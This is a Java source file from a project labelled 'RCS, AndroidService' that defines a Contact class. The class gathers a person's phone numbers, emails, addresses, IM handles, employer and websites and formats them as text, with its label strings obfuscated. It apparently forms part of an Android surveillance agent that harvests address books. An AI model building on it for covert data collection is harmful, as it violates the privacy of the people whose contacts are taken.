/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : Contact.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.module.task; import java.util.ArrayList; import java.util.List; import java.util.ListIterator; import com.android.mm.M; public class Contact { private static final String TAG = "Contact"; //$NON-NLS-1$ private final UserInfo userInfo; private final List<EmailInfo> emailInfo; private final List<PostalAddressInfo> paInfo; private final List<PhoneInfo> phoneInfo; private final List<ImInfo> imInfo; private final List<OrganizationInfo> orgInfo; private final List<WebsiteInfo> webInfo; public Contact(UserInfo u) { this.userInfo = u; this.emailInfo = new ArrayList<EmailInfo>(); this.paInfo = new ArrayList<PostalAddressInfo>(); this.phoneInfo = new ArrayList<PhoneInfo>(); this.imInfo = new ArrayList<ImInfo>(); this.orgInfo = new ArrayList<OrganizationInfo>(); this.webInfo = new ArrayList<WebsiteInfo>(); } public void add(EmailInfo u) { this.emailInfo.add(u); } public void add(PostalAddressInfo p) { this.paInfo.add(p); } public void add(PhoneInfo p) { this.phoneInfo.add(p); } public void add(ImInfo i) { this.imInfo.add(i); } public void add(OrganizationInfo o) { this.orgInfo.add(o); } public void add(WebsiteInfo w) { this.webInfo.add(w); } public UserInfo getUserInfo() { return userInfo; } public List<EmailInfo> getEmailInfo() { return emailInfo; } public List<PostalAddressInfo> getPaInfo() { return paInfo; } public List<PhoneInfo> getPhoneInfo() { return phoneInfo; } public List<ImInfo> getImInfo() { return imInfo; } public List<OrganizationInfo> getOrgInfo() { return orgInfo; } public List<WebsiteInfo> getWebInfo() { return webInfo; } @Override public String toString() { final StringBuffer sb = new StringBuffer(); sb.append(M.e("User Id: ") + userInfo.getUserId()); //$NON-NLS-1$ sb.append("\n" + M.e("Complete Name: ") + userInfo.getCompleteName()); //$NON-NLS-1$ sb.append("\n" + M.e("Nickname: ") + userInfo.getUserNickname()); //$NON-NLS-1$ sb.append("\n" + M.e("UserNote: ") + userInfo.getUserNote() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ sb.append(getInfo()); return sb.toString(); } public String getInfo() { final StringBuffer sb = new StringBuffer(); // Phone Info final ListIterator<PhoneInfo> pi = phoneInfo.listIterator(); while (pi.hasNext()) { final PhoneInfo pinfo = pi.next(); sb.append(M.e("Phone: ") + pinfo.getPhoneNumber()); //$NON-NLS-1$ sb.append("\n" + M.e("Phone Type: ") + pinfo.getPhoneType() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ } // Email Info final ListIterator<EmailInfo> e = emailInfo.listIterator(); while (e.hasNext()) { final EmailInfo einfo = e.next(); sb.append(M.e("Email: ") + einfo.getEmail()); //$NON-NLS-1$ sb.append("\n" + M.e("Type: ") + einfo.getEmailType() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ } // Postal Address Info final ListIterator<PostalAddressInfo> pa = paInfo.listIterator(); while (pa.hasNext()) { final PostalAddressInfo painfo = pa.next(); sb.append(M.e("State: ") + painfo.getState()); //$NON-NLS-1$ sb.append("\n" + M.e("Country: ") + painfo.getCountry()); //$NON-NLS-1$ sb.append("\n" + M.e("City: ") + painfo.getCity()); //$NON-NLS-1$ sb.append("\n" + M.e("Street: ") + painfo.getStreet()); //$NON-NLS-1$ sb.append("\n" + M.e("PO Box: ") + painfo.getPoBox()); //$NON-NLS-1$ sb.append("\n" + M.e("Zip: ") + painfo.getPostalCode()); //$NON-NLS-1$ sb.append("\n" + M.e("Neighbor: ") + painfo.getNeighbor()); //$NON-NLS-1$ sb.append("\n" + M.e("Address Type: ") + painfo.getType() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ } // Im Info final ListIterator<ImInfo> im = imInfo.listIterator(); while (im.hasNext()) { final ImInfo iminfo = im.next(); sb.append(M.e("IM: ") + iminfo.getIm()); //$NON-NLS-1$ sb.append("\n" + M.e("IM Type: ") + iminfo.getImType() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ } // Organization Info final ListIterator<OrganizationInfo> o = orgInfo.listIterator(); while (o.hasNext()) { final OrganizationInfo oinfo = o.next(); sb.append(M.e("Company Name: ") + oinfo.getCompanyName()); //$NON-NLS-1$ sb.append("\n" + M.e("Company Title: ") + oinfo.getCompanyTitle()); //$NON-NLS-1$ sb.append("\n" + M.e("Company Type: ") + oinfo.getType() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ } // Website Info final ListIterator<WebsiteInfo> w = webInfo.listIterator(); while (w.hasNext()) { final WebsiteInfo winfo = w.next(); sb.append(M.e("Website: ") + winfo.getWebsiteName() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ } return sb.toString(); } public long getId() { return getUserInfo().getUserId(); } }